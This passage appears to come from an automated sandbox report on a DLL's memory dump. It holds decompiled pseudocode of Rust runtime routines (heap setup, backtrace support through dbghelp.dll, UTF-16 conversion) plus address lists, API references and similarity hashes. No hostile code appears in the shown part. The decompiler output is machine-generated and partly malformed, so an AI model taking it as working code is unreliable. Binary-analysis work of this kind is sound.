																_t228 = _t228 + 0xfffffff8;
																_t268 = _t268 + 0x10;
																__eflags = _t228 - 7;
																if(_t228 > 7) {
																	continue;
																} else {
																	goto L45;
																}
															}
														}
													}
												}
											}
										}
									}
									goto L96;
								}
								L48:
								_t223 = _v68;
								_v56 = 0x6e7edec8;
								_v60 = 0x1402;
								__eflags = _t223;
								if(_t223 != 0) {
									__eflags = _t148;
									if(_t148 != 0) {
										__eflags = _t223 & 0x7fffffff;
										if((_t223 & 0x7fffffff) != 0) {
											HeapFree( *0x6e7fadc8, 0, _t148);
										}
									}
								}
								__eflags = _v60 - 3;
								if(_v60 == 3) {
									_t224 = _v56;
									_v36 = _t224;
									_t70 = _t224 + 4; // 0x2c
									_v20 = 2;
									 *((intOrPtr*)( *_t70))( *_t224);
									_t281 = _t281 + 4;
									_t179 = _v36;
									_t226 =  *((intOrPtr*)(_t179 + 4));
									__eflags =  *(_t226 + 4);
									if( *(_t226 + 4) != 0) {
										_t181 =  *_t179;
										__eflags =  *((intOrPtr*)(_t226 + 8)) - 9;
										if( *((intOrPtr*)(_t226 + 8)) >= 9) {
											_t181 =  *(_t181 - 4);
										}
										HeapFree( *0x6e7fadc8, 0, _t181);
										_t179 = _v56;
									}
									HeapFree( *0x6e7fadc8, 0, _t179);
								}
								L75:
								 *_v76 = 0;
								L76:
								_t151 = _v28;
								 *[fs:0x0] = _t151;
								return _t151;
							}
							goto L96;
						}
					}
				} else {
					_t142 = GetProcessHeap();
					if(_t142 == 0) {
						L94:
						_t239 = 2;
						E6E7C6C30(_t192, 0xa, 2, _t245, _t262, __eflags);
						asm("ud2");
						L95:
						E6E7C6DB0(_t192, _t245, _t239, _t245, _t262, __eflags, 0x6e7eded0);
						asm("ud2");
						__eflags =  &_a8;
						E6E7A4AA0( *_v44,  *((intOrPtr*)(_v44 + 4)));
						return E6E7AD420(_t263);
					} else {
						 *0x6e7fadc8 = _t142;
						goto L3;
					}
				}
				L96:
			}

0x6e7ad530
0x6e7ad530
0x6e7ad530
0x6e7ad533
0x6e7ad534
0x6e7ad535
0x6e7ad536
0x6e7ad53c
0x6e7ad53f
0x6e7ad546
0x6e7ad54d
0x6e7ad55a
0x6e7ad55d
0x6e7ad563
0x6e7ad56a
0x6e7ad57e
0x6e7ad583
0x6e7ad58a
0x00000000
0x6e7ad590
0x6e7ad590
0x6e7ad596
0x6e7ad59b
0x6e7ad59d
0x6e7ad5a2
0x6e7ad5a8
0x6e7ad5b2
0x6e7ad5bc
0x6e7ad5ed
0x6e7ad5f0
0x6e7ad5f3
0x00000000
0x00000000
0x6e7ad5f5
0x6e7ad5fc
0x6e7ad604
0x6e7ad5df
0x6e7ad5df
0x6e7ad5e2
0x6e7ad5e6
0x6e7ad5e7
0x00000000
0x6e7ad606
0x6e7ad63a
0x6e7ad644
0x6e7ad647
0x6e7ad64e
0x6e7ad659
0x6e7ad662
0x6e7ad66a
0x6e7ad66d
0x6e7ad671
0x6e7ad676
0x6e7ad5d0
0x6e7ad5d6
0x6e7ad5d9
0x6e7ad5dc
0x00000000
0x6e7ad5dc
0x6e7ad610
0x6e7ad616
0x6e7ad618
0x6e7ad61e
0x6e7ad621
0x6e7ad624
0x6e7ad627
0x6e7ad629
0x6e7ad681
0x6e7ad68a
0x6e7ad68c
0x6e7ad6b3
0x6e7ad6bb
0x6e7ad6be
0x6e7ad6c3
0x6e7ad6c6
0x00000000
0x6e7ad6c8
0x6e7ad6c8
0x6e7ad6cc
0x6e7ad6d2
0x6e7ad6d4
0x6e7ad6da
0x00000000
0x6e7ad6e0
0x00000000
0x6e7ad6e0
0x6e7ad6da
0x6e7ad68e
0x6e7ad68e
0x6e7ad692
0x6e7ad695
0x6e7ad698
0x6e7ad69b
0x6e7ad6eb
0x6e7ad6ed
0x6e7ad6f3
0x00000000
0x00000000
0x00000000
0x00000000
0x6e7ad69d
0x6e7ad6a3
0x6e7ad6a5
0x6e7ad715
0x6e7ad715
0x6e7ad717
0x6e7ad6a7
0x6e7ad6ab
0x6e7ad6ae
0x6e7ad6ae
0x6e7ad71a
0x6e7ad71d
0x6e7ad71f
0x6e7ad722
0x6e7ad745
0x6e7ad747
0x6e7ad74a
0x6e7ad750
0x00000000
0x6e7ad752
0x00000000
0x6e7ad752
0x6e7ad724
0x6e7ad724
0x6e7ad72d
0x6e7ad72f
0x6e7ad75a
0x6e7ad75a
0x6e7ad75c
0x6e7ad731
0x6e7ad737
0x6e7ad73a
0x6e7ad73a
0x6e7ad76f
0x6e7ad771
0x6e7ad774
0x6e7ad77a
0x6e7ad6f9
0x6e7ad6f9
0x6e7ad6fc
0x6e7ad6fe
0x6e7ad704
0x00000000
0x6e7ad70a
0x00000000
0x6e7ad70a
0x6e7ad780
0x6e7ad780
0x6e7ad780
0x6e7ad786
0x6e7ad7a0
0x6e7ad7a3
0x6e7ad7a6
0x6e7ad7a8
0x6e7ad7ab
0x6e7ad7b1
0x00000000
0x6e7ad7b7
0x00000000
0x6e7ad7b7
0x6e7ad7b1
0x6e7ad77a
0x6e7ad722
0x6e7ad69b
0x6e7ad62b
0x6e7ad62b
0x6e7ad62d
0x6e7ad630
0x6e7ad632
0x6e7ad638
0x00000000
0x00000000
0x00000000
0x00000000
0x6e7ad638
0x00000000
0x6e7ad629
0x6e7ad7bc
0x6e7ad7c2
0x6e7ad7ca
0x6e7ad7cd
0x6e7ad7d2
0x6e7ad7d5
0x6e7ad7d7
0x6e7ad7da
0x6e7ad7dc
0x6e7ad824
0x6e7ad824
0x6e7ad826
0x6e7ad830
0x6e7ad830
0x6e7ad832
0x00000000
0x00000000
0x6e7ad838
0x6e7ad83b
0x6e7ad83f
0x6e7ad842
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x6e7ad842
0x6e7ad8d0
0x6e7ad8d3
0x6e7ad8d5
0x6e7ad8e1
0x6e7ad8e6
0x6e7ad8e9
0x6e7ad8ec
0x6e7ad8ec
0x6e7ad8ef
0x6e7ad8f5
0x6e7ad8fa
0x6e7ad8ff
0x6e7ad902
0x6e7ad904
0x6e7ad907
0x00000000
0x6e7ad90d
0x6e7ad910
0x6e7ad921
0x6e7ad926
0x6e7ad929
0x6e7ad92e
0x6e7ad933
0x6e7ad935
0x6e7ad938
0x6e7ad93f
0x6e7ad942
0x6e7ad949
0x6e7ad94f
0x6e7ad972
0x6e7ad977
0x6e7ad97b
0x6e7ad97d
0x6e7ad97f
0x6e7ad982
0x6e7ad98f
0x6e7ad994
0x6e7ad99a
0x6e7ad99d
0x6e7ad99d
0x6e7ad9a0
0x6e7ad9a3
0x6e7ad9a5
0x6e7ad9a8
0x6e7ad951
0x6e7ad9b0
0x6e7ad9b0
0x6e7ad9b6
0x6e7ad9b6
0x6e7ad9bd
0x6e7ad9bd
0x6e7ad9c2
0x6e7ad9cd
0x6e7ad9d3
0x6e7ad9d5
0x6e7ad9d7
0x6e7ad9e3
0x6e7ad9e3
0x6e7ad9e5
0x6e7ad960
0x6e7ad960
0x6e7ad962
0x6e7ad964
0x6e7ada26
0x6e7ada29
0x6e7ada30
0x6e7ada32
0x00000000
0x6e7ada38
0x6e7ada3e
0x6e7ada3f
0x6e7ada44
0x6e7ada47
0x6e7ada4a
0x6e7ada4d
0x6e7ada50
0x6e7ada52
0x6e7ada55
0x6e7ada57
0x00000000
0x00000000
0x6e7ada59
0x00000000
0x6e7ada57
0x6e7ad96a
0x6e7ad96a
0x6e7ad970
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x6e7ad970
0x6e7ad9eb
0x6e7ad9eb
0x6e7ad9f1
0x6e7ad9f4
0x00000000
0x6e7ad9fa
0x6e7ad9fa
0x6e7ad9fc
0x6e7ada02
0x00000000
0x6e7ada04
0x00000000
0x6e7ada04
0x00000000
0x6e7ada02
0x6e7ad9f4
0x6e7ad9d9
0x6e7ad9d9
0x6e7ad9df
0x6e7ad9e1
0x6e7ada5b
0x6e7ada5d
0x6e7ada63
0x6e7ada65
0x6e7ada67
0x6e7ada6a
0x6e7ada6c
0x6e7ada6e
0x6e7ada6e
0x6e7ada72
0x6e7ada74
0x6e7ada79
0x6e7ada86
0x6e7ada89
0x6e7ada8e
0x6e7ada8e
0x6e7ada79
0x6e7ada72
0x6e7ada91
0x6e7ada91
0x6e7ada93
0x6e7adaed
0x6e7adaf0
0x6e7adaf2
0x6e7adaf5
0x6e7ada95
0x6e7ada98
0x6e7ada9b
0x6e7adaa1
0x6e7adaa8
0x6e7adab0
0x6e7adab3
0x6e7adab5
0x6e7adab8
0x6e7adabb
0x6e7adabe
0x6e7adac2
0x6e7adac4
0x6e7adac6
0x6e7adaca
0x6e7adacc
0x6e7adacc
0x6e7adad8
0x6e7adad8
0x6e7adae6
0x6e7adae6
0x6e7adaa1
0x6e7adaf8
0x6e7adaff
0x6e7adb10
0x6e7adb10
0x00000000
0x00000000
0x00000000
0x00000000
0x6e7ad9e1
0x6e7ad9d7
0x6e7ad7de
0x6e7ad7de
0x6e7ad7e0
0x6e7ad7e2
0x6e7ad7e2
0x6e7ad7e6
0x00000000
0x00000000
0x6e7ad7e8
0x6e7ad7ed
0x00000000
0x6e7ad7ef
0x6e7ad7ef
0x6e7ad7f4
0x00000000
0x6e7ad7f6
0x6e7ad7f6
0x6e7ad7fb
0x00000000
0x6e7ad7fd
0x6e7ad7fd
0x6e7ad802
0x00000000
0x6e7ad804
0x6e7ad804
0x6e7ad809
0x00000000
0x6e7ad80b
0x6e7ad80b
0x6e7ad810
0x00000000
0x6e7ad812
0x6e7ad812
0x6e7ad817
0x00000000
0x6e7ad819
0x6e7ad819
0x6e7ad81c
0x6e7ad81f
0x6e7ad822
0x00000000
0x00000000
0x00000000
0x00000000
0x6e7ad822
0x6e7ad817
0x6e7ad810
0x6e7ad809
0x6e7ad802
0x6e7ad7fb
0x6e7ad7f4
0x00000000
0x6e7ad7ed
0x6e7ad844
0x6e7ad844
0x6e7ad847
0x6e7ad84e
0x6e7ad855
0x6e7ad857
0x6e7ad859
0x6e7ad85b
0x6e7ad85d
0x6e7ad863
0x6e7ad86e
0x6e7ad86e
0x6e7ad863
0x6e7ad85b
0x6e7ad873
0x6e7ad877
0x6e7ad87d
0x6e7ad882
0x6e7ad885
0x6e7ad888
0x6e7ad890
0x6e7ad892
0x6e7ad895
0x6e7ad898
0x6e7ad89b
0x6e7ad89f
0x6e7ad8a1
0x6e7ad8a3
0x6e7ad8a7
0x6e7ad8a9
0x6e7ad8a9
0x6e7ad8b5
0x6e7ad8ba
0x6e7ad8ba
0x6e7ad8c6
0x6e7ad8c6
0x6e7ada09
0x6e7ada0c
0x6e7ada12
0x6e7ada12
0x6e7ada15
0x6e7ada25
0x6e7ada25
0x00000000
0x6e7ad7dc
0x6e7ad5ed
0x6e7ad56c
0x6e7ad56c
0x6e7ad573
0x6e7adb1a
0x6e7adb1f
0x6e7adb24
0x6e7adb29
0x6e7adb2b
0x6e7adb32
0x6e7adb3a
0x6e7adb44
0x6e7adb4f
0x6e7adb5f
0x6e7ad579
0x6e7ad579
0x00000000
0x6e7ad579
0x6e7ad573
0x00000000

APIs

GetProcessHeap.KERNEL32 ref: 6E7AD56C
HeapAlloc.KERNEL32(011E0000,00000000,0000000A), ref: 6E7AD583

Strings

RUST_BACKTRACE, xrefs: 6E7AD63A, 6E7AD670

Memory Dump Source

Source File: 00000000.00000002.989498897.000000006E7A1000.00000020.00020000.sdmp, Offset: 6E7A0000, based on PE: true

Associated: 00000000.00000002.989491273.000000006E7A0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.989518571.000000006E7C8000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.989546155.000000006E7FA000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.989553396.000000006E7FC000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.989560098.000000006E7FD000.00000002.00020000.sdmp Download File

Similarity

API ID: Heap$AllocProcess
String ID: RUST_BACKTRACE
API String ID: 1617791916-3454309823
Opcode ID: 55b4d063d6a2c78d9887d57a871ae3c5bdb7668230d5fea891ae21a0c09fb27c
Instruction ID: 687a1db1781dbd4addde8f03822eb1740a9d572171bc0c533d28d9b996e8e793
Opcode Fuzzy Hash: 55b4d063d6a2c78d9887d57a871ae3c5bdb7668230d5fea891ae21a0c09fb27c
Instruction Fuzzy Hash: DB02BDB1E002198BDB14CFE8CA947DDB7B5EF49318F144229DA25B72A0D770AD81CF99

Uniqueness

Uniqueness Score: -1.00%

Function 6E7AE690, Relevance: 26.4, APIs: 9, Strings: 6, Instructions: 135
libraryloadersynchronizationCOMMON

Download Yara Rule

C-Code - Quality: 52%

			E6E7AE690(void* __ebx, void* __edi, void* __esi, char _a8) {
				int _v20;
				intOrPtr _v24;
				char _v28;
				intOrPtr _v32;
				void* _v36;
				void* __ebp;
				void* _t15;
				struct HINSTANCE__* _t20;
				signed int _t21;
				void* _t23;
				_Unknown_base(*)()* _t25;
				_Unknown_base(*)()* _t28;
				_Unknown_base(*)()* _t30;
				void* _t35;
				_Unknown_base(*)()* _t38;
				_Unknown_base(*)()* _t39;
				signed int _t50;
				_Unknown_base(*)()* _t52;
				void* _t59;

				_t48 = __edi;
				_push(__edi);
				_v32 = _t59 - 0x14;
				_v20 = 0xffffffff;
				_v24 = E6E7B3BA0;
				_v28 =  *[fs:0x0];
				 *[fs:0x0] =  &_v28;
				_t35 =  *0x6e7fadc4; // 0x0
				if(_t35 == 0) {
					_t15 = CreateMutexA(0, 0, "Local\\RustBacktraceMutex");
					__eflags = _t15;
					if(_t15 == 0) {
						_t54 = 1;
						goto L19;
					} else {
						_t35 = _t15;
						__eflags = 0;
						asm("lock cmpxchg [0x6e7fadc4], ebx");
						if(0 != 0) {
							CloseHandle(_t35);
							_t35 = 0;
						}
						goto L1;
					}
				} else {
					L1:
					WaitForSingleObjectEx(_t35, 0xffffffff, 0);
					_t20 =  *0x6e7fadd0; // 0x0
					if(_t20 != 0) {
						L3:
						_t54 = 0;
						if( *0x6e7fae04 != 0) {
							goto L19;
						} else {
							_t38 =  *0x6e7fadd4; // 0x0
							if(_t38 != 0) {
								L7:
								_t21 =  *_t38();
								_t39 =  *0x6e7fadd8; // 0x0
								_t50 = _t21;
								if(_t39 != 0) {
									L10:
									 *_t39(_t50 | 0x00000004);
									_t52 =  *0x6e7faddc; // 0x0
									if(_t52 != 0) {
										L13:
										_t23 = GetCurrentProcess();
										 *_t52(_t23, 0, 1);
										 *0x6e7fae04 = 1;
										goto L19;
									} else {
										_t25 = GetProcAddress( *0x6e7fadd0, "SymInitializeW");
										if(_t25 == 0) {
											_v36 = _t35;
											_v20 = 0;
											E6E7C6E20(_t35, "called `Option::unwrap()` on a `None` value", 0x2b, _t52, _t54, __eflags, 0x6e7edcac);
											goto L23;
										} else {
											_t52 = _t25;
											 *0x6e7faddc = _t25;
											goto L13;
										}
									}
								} else {
									_t28 = GetProcAddress( *0x6e7fadd0, "SymSetOptions");
									if(_t28 == 0) {
										_v36 = _t35;
										_v20 = 0;
										E6E7C6E20(_t35, "called `Option::unwrap()` on a `None` value", 0x2b, _t50, _t54, __eflags, 0x6e7edc9c);
										goto L23;
									} else {
										_t39 = _t28;
										 *0x6e7fadd8 = _t28;
										goto L10;
									}
								}
							} else {
								_t30 = GetProcAddress(_t20, "SymGetOptions");
								if(_t30 == 0) {
									_v36 = _t35;
									_v20 = 0;
									E6E7C6E20(_t35, "called `Option::unwrap()` on a `None` value", 0x2b, _t48, 0, __eflags, 0x6e7edc8c);
									L23:
									asm("ud2");
									__eflags =  &_a8;
									return E6E7AE880(_v36);
								} else {
									_t38 = _t30;
									 *0x6e7fadd4 = _t30;
									goto L7;
								}
							}
						}
					} else {
						_t20 = LoadLibraryA("dbghelp.dll");
						 *0x6e7fadd0 = _t20;
						if(_t20 == 0) {
							ReleaseMutex(_t35);
							_t54 = 1;
							L19:
							 *[fs:0x0] = _v28;
							return _t54;
						} else {
							goto L3;
						}
					}
				}
			}

0x6e7ae690
0x6e7ae694
0x6e7ae699
0x6e7ae69c
0x6e7ae6a3
0x6e7ae6b4
0x6e7ae6b7
0x6e7ae6bd
0x6e7ae6c5
0x6e7ae7a5
0x6e7ae7aa
0x6e7ae7ac
0x6e7ae7d0
0x00000000
0x6e7ae7ae
0x6e7ae7ae
0x6e7ae7b0
0x6e7ae7b2
0x6e7ae7ba
0x6e7ae7c3
0x6e7ae7c9
0x6e7ae7c9
0x00000000
0x6e7ae7ba
0x6e7ae6cb
0x6e7ae6cb
0x6e7ae6d0
0x6e7ae6d5
0x6e7ae6dc
0x6e7ae6f5
0x6e7ae6f5
0x6e7ae6fe
0x00000000
0x6e7ae704
0x6e7ae704
0x6e7ae70c
0x6e7ae729
0x6e7ae729
0x6e7ae72b
0x6e7ae731
0x6e7ae735
0x6e7ae757
0x6e7ae75b
0x6e7ae75d
0x6e7ae765
0x6e7ae787
0x6e7ae787
0x6e7ae791
0x6e7ae793
0x00000000
0x6e7ae767
0x6e7ae772
0x6e7ae77a
0x6e7ae83d
0x6e7ae840
0x6e7ae856
0x00000000
0x6e7ae780
0x6e7ae780
0x6e7ae782
0x00000000
0x6e7ae782
0x6e7ae77a
0x6e7ae737
0x6e7ae742
0x6e7ae74a
0x6e7ae81a
0x6e7ae81d
0x6e7ae833
0x00000000
0x6e7ae750
0x6e7ae750
0x6e7ae752
0x00000000
0x6e7ae752
0x6e7ae74a
0x6e7ae70e
0x6e7ae714
0x6e7ae71c
0x6e7ae7f7
0x6e7ae7fa
0x6e7ae810
0x6e7ae85e
0x6e7ae85e
0x6e7ae864
0x6e7ae873
0x6e7ae722
0x6e7ae722
0x6e7ae724
0x00000000
0x6e7ae724
0x6e7ae71c
0x6e7ae70c
0x6e7ae6de
0x6e7ae6e3
0x6e7ae6ea
0x6e7ae6ef
0x6e7ae7d8
0x6e7ae7dd
0x6e7ae7e2
0x6e7ae7e7
0x6e7ae7f6
0x00000000
0x00000000
0x00000000
0x6e7ae6ef
0x6e7ae6dc

APIs

WaitForSingleObjectEx.KERNEL32(00000000,000000FF,00000000,00000000,00000000,Local\RustBacktraceMutex), ref: 6E7AE6D0
LoadLibraryA.KERNEL32(dbghelp.dll,00000000,000000FF,00000000,00000000,00000000,Local\RustBacktraceMutex), ref: 6E7AE6E3
GetProcAddress.KERNEL32(00000000,SymGetOptions), ref: 6E7AE714
GetProcAddress.KERNEL32(SymSetOptions), ref: 6E7AE742
GetProcAddress.KERNEL32(SymInitializeW), ref: 6E7AE772
GetCurrentProcess.KERNEL32 ref: 6E7AE787
CreateMutexA.KERNEL32(00000000,00000000,Local\RustBacktraceMutex), ref: 6E7AE7A5
CloseHandle.KERNEL32(00000000,00000000,00000000,Local\RustBacktraceMutex), ref: 6E7AE7C3

Part of subcall function 6E7AE880: ReleaseMutex.KERNEL32(?,6E7AE5F8), ref: 6E7AE881

Strings

SymGetOptions, xrefs: 6E7AE70E
dbghelp.dll, xrefs: 6E7AE6DE
called `Option::unwrap()` on a `None` value, xrefs: 6E7AE801, 6E7AE824, 6E7AE847
SymSetOptions, xrefs: 6E7AE737
SymInitializeW, xrefs: 6E7AE767
Local\RustBacktraceMutex, xrefs: 6E7AE79C

Memory Dump Source

Source File: 00000000.00000002.989498897.000000006E7A1000.00000020.00020000.sdmp, Offset: 6E7A0000, based on PE: true

Associated: 00000000.00000002.989491273.000000006E7A0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.989518571.000000006E7C8000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.989546155.000000006E7FA000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.989553396.000000006E7FC000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.989560098.000000006E7FD000.00000002.00020000.sdmp Download File

Similarity

API ID: AddressProc$Mutex$CloseCreateCurrentHandleLibraryLoadObjectProcessReleaseSingleWait
String ID: Local\RustBacktraceMutex$SymGetOptions$SymInitializeW$SymSetOptions$called `Option::unwrap()` on a `None` value$dbghelp.dll
API String ID: 1067696788-3213342004
Opcode ID: bcb0d19870d6a8ee0743b02e9d31759d827fafa2bd4a01bb1ce8f4b816c6b7d1
Instruction ID: e7fc124bbf732949326d1ce160cf7706faf3650345e746c27416c22df9b4d0d5
Opcode Fuzzy Hash: bcb0d19870d6a8ee0743b02e9d31759d827fafa2bd4a01bb1ce8f4b816c6b7d1
Instruction Fuzzy Hash: C1412971A006499FEF009FF8DF9876A37ADEB85714F000639E616DB3A4E7749840CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 6E7AE890, Relevance: 25.1, APIs: 9, Strings: 5, Instructions: 588
libraryloaderCOMMONCrypto

Download Yara Rule

C-Code - Quality: 52%

			E6E7AE890(void* __ebx, intOrPtr __ecx, signed int __edx, void* __edi, void* __esi) {
				void* _v16;
				char _v4528;
				void* __ebp;
				char* _t225;
				void* _t234;
				void* _t237;
				signed int _t240;
				signed int _t243;
				signed char _t249;
				intOrPtr _t250;
				void* _t255;
				intOrPtr _t256;
				signed int _t258;
				signed char _t262;
				signed int _t265;
				signed short _t267;
				signed short* _t269;
				signed int _t273;
				void* _t277;
				void* _t278;
				intOrPtr _t279;
				signed int _t281;
				void* _t283;
				intOrPtr _t284;
				signed int _t286;
				signed short _t290;
				signed int _t292;
				signed short* _t293;
				signed short _t294;
				signed int _t297;
				signed int _t298;
				signed int _t301;
				signed int _t302;
				signed int _t304;
				signed int _t309;
				signed int _t310;
				signed int _t312;
				signed short* _t317;
				intOrPtr _t321;
				intOrPtr _t322;
				void* _t328;
				signed int _t330;
				intOrPtr _t333;
				signed int _t337;
				void* _t338;
				void* _t346;
				intOrPtr _t350;
				signed short* _t353;
				signed int _t354;
				signed int _t357;
				void* _t358;
				signed int _t365;
				void* _t366;
				signed short* _t369;
				signed int _t371;
				signed int _t373;
				signed short* _t379;
				signed int _t381;
				signed char _t384;
				signed char _t385;
				intOrPtr _t392;
				signed int* _t393;
				signed char _t394;
				signed int _t397;
				signed char _t398;
				signed int _t399;
				signed int _t400;
				signed short _t401;
				signed int _t407;
				signed int _t409;
				signed char _t410;
				signed int _t411;
				signed short _t412;
				signed int _t418;
				intOrPtr _t421;
				signed int _t423;
				signed int _t424;

				_t365 = __edx;
				_t321 = __ecx;
				_push(__ebx);
				_push(__edi);
				_push(__esi);
				_t424 = _t423 & 0xfffffff0;
				E6E7BA000(0x11b0);
				_t418 = _t424;
				 *((intOrPtr*)(_t418 + 0x1198)) = _t421;
				 *(_t418 + 0x119c) = _t424;
				 *(_t418 + 0x11a8) = 0xffffffff;
				 *((intOrPtr*)(_t418 + 0x11a4)) = E6E7B3BB0;
				 *((intOrPtr*)(_t418 + 0x11a0)) =  *[fs:0x0];
				 *[fs:0x0] = _t418 + 0x11a0;
				 *((intOrPtr*)(_t418 + 0x5c)) = __edx;
				_t225 =  *((intOrPtr*)(__ecx));
				if( *_t225 != 0 ||  *((intOrPtr*)( *((intOrPtr*)(__ecx + 4)))) <= 0x64) {
					_t392 =  *((intOrPtr*)(_t321 + 8));
					_t301 =  *(_t321 + 0xc);
					 *((intOrPtr*)(_t418 + 0x80)) = _t321;
					_t322 =  *((intOrPtr*)(_t321 + 0x10));
					 *(_t418 + 0x1c) = _t365;
					_t366 = _t418 + 0x12;
					 *(_t418 + 0x12) = 0;
					 *((char*)(_t418 + 0x13)) = 0;
					 *(_t418 + 0x84) = _t366;
					 *((intOrPtr*)(_t418 + 0x88)) = _t225;
					 *((intOrPtr*)(_t418 + 0x8c)) = _t392;
					 *((intOrPtr*)(_t418 + 0x90)) = _t418 + 0x13;
					 *(_t418 + 0x94) = _t301;
					 *((intOrPtr*)(_t418 + 0x98)) = _t322;
					 *((intOrPtr*)(_t418 + 0x7c)) = _t392;
					 *(_t418 + 0x58) = _t301;
					 *((intOrPtr*)(_t418 + 0x78)) = _t322;
					 *((intOrPtr*)(_t418 + 0x9c)) = _t418 + 0x5c;
					if(E6E7AE690(_t301, _t392, _t418) == 0) {
						_t393 =  *(_t418 + 0x1c);
						 *(_t418 + 0x2c) = _t366;
						__eflags =  *_t393 ^ 0x00000001 | _t393[1];
						if(( *_t393 ^ 0x00000001 | _t393[1]) != 0) {
							E6E7BC310(_t393, _t418 + 0x1a4, 0, 0xff4);
							_t424 = _t424 + 0xc;
							_t302 =  *0x6e7fadfc; // 0x0
							 *((intOrPtr*)(_t418 + 0x1f0)) = 0x7d0;
							 *((intOrPtr*)(_t418 + 0x1a0)) = 0x58;
							__eflags = _t302;
							if(_t302 != 0) {
								L33:
								_t234 = GetCurrentProcess();
								_t394 = _t393[0x45];
								 *(_t418 + 0x18) = _t234;
								 *(_t418 + 0xa4) = 0;
								 *(_t418 + 0xa0) = 0;
								_t369 =  <  ? 0 : _t393[2] - 1;
								 *(_t418 + 0x20) = _t394;
								 *(_t418 + 0x30) = _t369;
								_t237 =  *_t302( *(_t418 + 0x18), _t369, 0, _t394, _t418 + 0xa0, _t418 + 0x1a0);
								__eflags = _t237 - 1;
								if(_t237 != 1) {
									goto L75;
								} else {
									_t250 =  *((intOrPtr*)(_t418 + 0x1ec));
									asm("xorps xmm0, xmm0");
									_t304 = _t418 + 0x1f4;
									_t371 = _t418 + 0xa0;
									 *(_t418 + 0xc) = 0;
									asm("movaps [esi+0x190], xmm0");
									asm("movaps [esi+0x180], xmm0");
									asm("movaps [esi+0x170], xmm0");
									asm("movaps [esi+0x160], xmm0");
									asm("movaps [esi+0x150], xmm0");
									asm("movaps [esi+0x140], xmm0");
									asm("movaps [esi+0x130], xmm0");
									asm("movaps [esi+0x120], xmm0");
									asm("movaps [esi+0x110], xmm0");
									asm("movaps [esi+0x100], xmm0");
									asm("movaps [esi+0xf0], xmm0");
									asm("movaps [esi+0xe0], xmm0");
									asm("movaps [esi+0xd0], xmm0");
									asm("movaps [esi+0xc0], xmm0");
									asm("movaps [esi+0xb0], xmm0");
									asm("movaps [esi+0xa0], xmm0");
									_t328 =  *((intOrPtr*)(_t418 + 0x1f0)) - 1;
									__eflags = _t250 - _t328;
									_t329 =  <=  ? _t250 : _t328;
									_t330 = 0;
									 *(_t418 + 0x14) = _t418 + 0x1f4 + ( <=  ? _t250 : _t328) * 2;
									__eflags = 0;
									 *(_t418 + 0x18) = 0x100;
									if(0 == 0) {
										L37:
										__eflags = _t304 -  *(_t418 + 0x14);
										if(_t304 !=  *(_t418 + 0x14)) {
											_t400 = _t304;
											_t304 = _t304 + 2;
											__eflags = _t304;
											_t401 =  *_t400 & 0x0000ffff;
											goto L39;
										}
									} else {
										asm("o16 nop [cs:eax+eax]");
										L36:
										_t401 = _t330 >> 0x10;
										L39:
										 *(_t418 + 0x1c) = _t330 & 0xffff0000;
										__eflags = (_t401 & 0x0000f800) - 0xd800;
										if((_t401 & 0x0000f800) != 0xd800) {
											 *(_t418 + 0x24) = _t304;
											_t337 = _t401 & 0x0000ffff;
											_t262 = 0;
										} else {
											_t269 = _t304;
											_t337 = 0;
											__eflags = (_t401 & 0x0000ffff) - 0xdbff;
											if((_t401 & 0x0000ffff) <= 0xdbff) {
												_t309 =  *(_t418 + 0x14);
												__eflags = _t269 - _t309;
												if(_t269 == _t309) {
													 *(_t418 + 0x24) = _t309;
													goto L48;
												} else {
													_t310 =  *_t269 & 0x0000ffff;
													 *(_t418 + 0x24) =  &(_t269[1]);
													 *(_t418 + 0x28) = _t310;
													__eflags = (_t310 & 0x0000fc00) - 0xdc00;
													if((_t310 & 0x0000fc00) != 0xdc00) {
														 *(_t418 + 0x1c) = ( *(_t418 + 0x28) & 0x0000ffff) << 0x00000010 | 0x00000001;
														asm("o16 nop [eax+eax]");
														goto L48;
													} else {
														_t262 = 0;
														_t337 = ( *(_t418 + 0x28) + 0x00002400 & 0x0000ffff | (_t401 + 0x00002800 & 0x0000ffff) << 0x0000000a) + 0x10000;
													}
												}
											} else {
												 *(_t418 + 0x24) = _t269;
												L48:
												_t262 = 1;
											}
										}
										_t304 =  *(_t418 + 0x18);
										__eflags = _t262 & 0x00000001;
										_t394 = 1;
										_t338 =  !=  ? 0xfffd : _t337;
										__eflags = _t338 - 0x80;
										if(_t338 >= 0x80) {
											_t394 = 2;
											__eflags = _t338 - 0x800;
											if(_t338 >= 0x800) {
												__eflags = _t338 - 0x10000;
												_t394 = 4;
												asm("sbb edi, 0x0");
											}
										}
										_t265 = _t304 - _t394;
										__eflags = _t265;
										 *(_t418 + 0x28) = _t265;
										if(_t265 > 0) {
											 *(_t418 + 0x34) = _t394;
											 *(_t418 + 0x11a8) = 0;
											 *(_t418 + 0x18) = _t371;
											E6E7ADD00(_t304, _t338, _t371, _t394, _t418, _t421, _t304);
											_t424 = _t424 + 4;
											_t267 =  *(_t418 + 0x34);
											_t330 =  *(_t418 + 0x1c);
											_t304 =  *(_t418 + 0x24);
											_t371 =  *(_t418 + 0x18) + _t267;
											 *(_t418 + 0xc) =  *(_t418 + 0xc) + _t267;
											__eflags = _t330;
											 *(_t418 + 0x18) =  *(_t418 + 0x28);
											if(_t330 != 0) {
												goto L36;
											} else {
												goto L37;
											}
										}
									}
									__eflags =  *(_t418 + 0xc) - 0x101;
									if(__eflags >= 0) {
										 *(_t418 + 0x11a8) = 0;
										E6E7C6DB0(_t304,  *(_t418 + 0xc), 0x100, _t394, _t418, __eflags, 0x6e7ee1dc);
										goto L87;
									} else {
										_t397 =  *0x6e7fae00; // 0x0
										asm("xorps xmm0, xmm0");
										 *(_t418 + 0x74) = 0;
										 *(_t418 + 0x70) = 0;
										asm("movaps [esi+0x60], xmm0");
										 *((intOrPtr*)(_t418 + 0x60)) = 0x18;
										__eflags = _t397;
										if(_t397 != 0) {
											L67:
											_t255 = GetCurrentProcess();
											_t333 = _t418 + 0x60;
											 *(_t418 + 0x38) = 0;
											_t373 = _t418 + 0x38;
